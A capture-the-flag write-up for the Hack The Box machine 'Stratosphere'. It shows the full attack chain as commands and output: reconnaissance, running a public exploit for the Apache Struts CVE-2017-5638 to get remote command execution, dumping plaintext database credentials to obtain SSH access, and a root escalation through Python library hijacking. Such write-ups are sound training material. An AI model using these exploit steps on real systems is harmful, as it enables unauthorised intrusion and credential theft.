--- search: exclude: true --- # Stratosphere Writeup ![](img/21.png) ## Introduction : Stratosphere is a Medium Linux box released back in March 2018. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. λ nihilist [ 10.10.14.10/23 ] [~] → nmap -sCV -p 22,80,8080 10.10.10.64 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-15 22:52 GMT Nmap scan report for 10.10.10.64 Host is up (0.091s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA) | 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA) |_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519) 80/tcp open http | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 1114 | Date: Sun, 15 Mar 2020 22:53:54 GMT | Connection: close | GetRequest: | HTTP/1.1 200 | Accept-Ranges: bytes | ETag: W/"1708-1519762495000" | Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT | Content-Type: text/html | Content-Length: 1708 | Date: Sun, 15 Mar 2020 22:53:54 GMT | Connection: close | HTTPOptions: | HTTP/1.1 200 | Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS | Content-Length: 0 | Date: Sun, 15 Mar 2020 22:53:54 GMT | Connection: close | RTSPRequest, X11Probe: | HTTP/1.1 400 | Date: Sun, 15 Mar 2020 22:53:54 GMT |_ Connection: close | http-methods: |_ Potentially risky methods: PUT DELETE |_http-title: Stratosphere 8080/tcp open http-proxy | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 1114 | Date: Sun, 15 Mar 2020 22:53:54 GMT | Connection: close Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.10 seconds ## **Part 2 : Getting User Access** Our nmap scan picked up port 80 and 8080 running http so let's dirsearch both of them : ![](prg/21_001.png) Suprisingly both the dirsearch scans found the exact same directories : _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: txt, html, php, xml | HTTP method: get | Threads: 50 | Wordlist size: 220521 Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-15_22-57-35.log Target: http://10.10.10.64/ [22:57:35] Starting: [22:57:36] 200 - 2KB - / [22:57:58] 302 - 0B - /manager -> /manager/ [22:58:31] 302 - 0B - /Monitoring -> /Monitoring/ [22:59:07] 400 - 0B - /http%3A%2F%2Fwww [23:00:58] 400 - 0B - /http%3A%2F%2Fyoutube [23:01:46] 400 - 0B - /http%3A%2F%2Fblogs [23:01:52] 400 - 0B - /http%3A%2F%2Fblog [23:02:30] 400 - 0B - /%2A%2Ahttp%3A%2F%2Fwww So we investigate /manager: ![](prg/21_002.png) Which is a login form, so we move over to /Monitoring ![](prg/21_003.png) Here we see that we are redirected to the following link : **http://10.10.10.64:8080/Monitoring/example/Welcome.action** and that we can either sign on or register, however trying to register we see that we get an error: ![](prg/21_004.png) With the following URL : http://10.10.10.64/Monitoring/example/Register.action;jsessionid=AFF9FBE2C10195E4BD717ABD893099E2 Moving over to the Sign On page we try to login with a random username and password, and we get the following request: ![](prg/21_005.png) we'll leave that aside for now, and head back to the Monitoring homepage, we see that the extension .action is used instead of .do for apache struts actions. Struts is a model-view-controller framework for creating java web applications. Struts has suffered from a couple of vulnerabilities using the technique of object-graph navigation language (OGNL) injection. OGNL is an expression language that allows the setting of an object properties and execution of various methods of Java classes, which can be maliciously used to perform RCE attacks against Apache servers. Most notably [cve2017-5638](https://www.exploit-db/exploits/41570), to which we have a few exploits we can use: λ nihilist [ 10.10.14.10/23 ] [~] → cd /usr/share/exploitdb λ nihilist [ 10.10.14.10/23 ] [/usr/share/exploitdb] → grep -Ri 2017-5638 exploits/linux/webapps/41570.py: print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') exploits/multiple/remote/41614.rb: ['CVE', '2017-5638'], λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → cp /usr/share/exploitdb/exploits/linux/webapps/41570.py . λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → nano 41570.py In it we can see that it is trying to abuse the Content-Type header by setting it to **%{(#_='multipart/form-data').(payload)** : ![](prg/21_006.png) we can even check if it is vulnerable to this particular CVE by using nmap's --script flag: λ nihilist [ 10.10.14.10/23 ] [~] → nmap -p8080 --script http-vuln-cve2017-5638 --script-args path=/Monitoring/ 10.10.10.64 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 08:44 GMT Nmap scan report for 10.10.10.64 Host is up (0.094s latency). PORT STATE SERVICE 8080/tcp open http-proxy | http-vuln-cve2017-5638: | VULNERABLE: | Apache Struts Remote Code Execution Vulnerability | State: VULNERABLE | IDs: CVE:CVE-2017-5638 | Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution | vulnerability via the Content-Type header. | | Disclosure date: 2017-03-07 | References: | https://cwiki.apache.org/confluence/display/WW/S2-045 | http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 And it looks like it is vulnerable, so let's test it out but be careful that the final / of the URL is important otherwise you won't get any results: λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → python 41570.py http://10.10.10.64:8080/Monitoring id [*] CVE: 2017-5638 - Apache Struts2 S2-045 [*] cmd: id λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → python 41570.py http://10.10.10.64:8080/Monitoring/ id [*] CVE: 2017-5638 - Apache Struts2 S2-045 [*] cmd: id uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8) λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → python 41570.py http://10.10.10.64:8080/Monitoring/ "cat /home/richard/user.txt" [*] CVE: 2017-5638 - Apache Struts2 S2-045 [*] cmd: cat /home/richard/user.txt cat: /home/richard/user.txt: Permission denied And we get RCE as tomcat8 ! However trying to print the user richard flag we see that we need to privesc so you could try to get a reverse shell but it may be tedious since we'll find out later on that the box has iptables configured. So first we print out the db_connect file contents to see if we can grab credentials: λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → python 41570.py http://10.10.10.64:8080/Monitoring/ "ls" [*] CVE: 2017-5638 - Apache Struts2 S2-045 [*] cmd: ls conf db_connect lib logs policy webapps work λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → python 41570.py http://10.10.10.64:8080/Monitoring/ "cat db_connect" [*] CVE: 2017-5638 - Apache Struts2 S2-045 [*] cmd: cat db_connect [ssn] user=ssn_admin pass=AWs64@on*& [users] user=admin pass=admin You may be tempted to use the ssn_admin:AWs64@on*& creds but as a matter of fact we'll use the default credentials admin:admin to log into mysql and print out other credentials: λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → python 41570.py http://10.10.10.64:8080/Monitoring/ **"** mysql -u admin **-p admin** -e "use users;select * from accounts"**"** This above is incorrect since we have to use a pair of singlequotes and doublequotes instead of 2 pairs of doublequotes, moreso the -p admin syntax is incorrect because you need to spell it this way (-padmin) so now we correct our command : λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → python 41570.py http://10.10.10.64:8080/Monitoring/ **'** mysql -u admin **-padmin** -e "use users;select * from accounts"**'** [*] CVE: 2017-5638 - Apache Struts2 S2-045 [*] cmd: mysql -u admin -padmin -e "use users;select * from accounts" fullName password username Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard And we have credentials ! richard:9tc*rhKuG5TyXvUJOrE^5CK7k so we log into the machine via ssh: λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] → ssh richard@10.10.10.64 The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established. ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.64' (ECDSA) to the list of known hosts. richard@10.10.10.64's password: Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Feb 27 16:26:33 2018 from 10.10.14.2 richard@stratosphere:~$ cat user.txt e6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it ! We have been able to print out the user flag. ## **Part 3 : Getting Root Access** Now our first reflex to enumerate a box is by typing sudo -l to see if we can execute anything with root privileges as the current user: richard@stratosphere:~$ sudo -l Matching Defaults entries for richard on stratosphere: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User richard may run the following commands on stratosphere: (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py richard@stratosphere:~$ cat /home/richard/test.py #!/usr/bin/python3 import hashlib def question(): q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n") md5 = hashlib.md5() md5.update(q1.encode()) if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb": print("Sorry, that's not right") return print("You got it!") q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n") sha1 = hashlib.sha1() sha1.update(q2.encode()) if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff': print("Nope, that one didn't work...") return print("WOW, you're really good at this!") q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n") md4 = hashlib.new('md4') md4.update(q3.encode()) if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9': print("Yeah, I don't think that's right.") return print("OK, OK! I get it. You know how to crack hashes...") q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n") blake = hashlib.new('BLAKE2b512') blake.update(q4.encode()) if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943': print("You were so close! urg... sorry rules are rules.") return import os os.system('/root/success.py') return question() Here we can see a bunch of crackable hashes (which are actually rabbitholes lol), the real vulnerability here is into the libraries that this python script calls : hashlib.py richard@stratosphere:/usr/lib/python3.5$ cd ~ richard@stratosphere:~$ cd /usr/lib/python3.5 richard@stratosphere:/usr/lib/python3.5$ ls -lash | grep hashlib 8.0K -rw-r--r-- 1 root root 7.8K Jan 19 2017 hashlib.py Obviously we cannot write into this hashlib.py file since we do not have enough permissions to do so, therefore we will create our own hashlib.py in the SAME FOLDER as our test.py and it will take priority over the hashlib we found above. With our own hashlib.py we are able to achieve a privilege escalation via python-library hijacking as demonstrated below : richard@stratosphere:~$ pwd /home/richard richard@stratosphere:~$ ls Desktop test.py user.txt richard@stratosphere:~$ echo 'import os;os.system("/bin/bash")' > hashlib.py richard@stratosphere:~$ sudo /usr/bin/python /home/richard/test.py root@stratosphere:/home/richard# id uid=0(root) gid=0(root) groups=0(root) root@stratosphere:/home/richard# cat /root/root.txt d4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it ! we have been able to print out the root flag. ## **Conclusion** Here we can see the progress graph : ![](img/21_graph.png)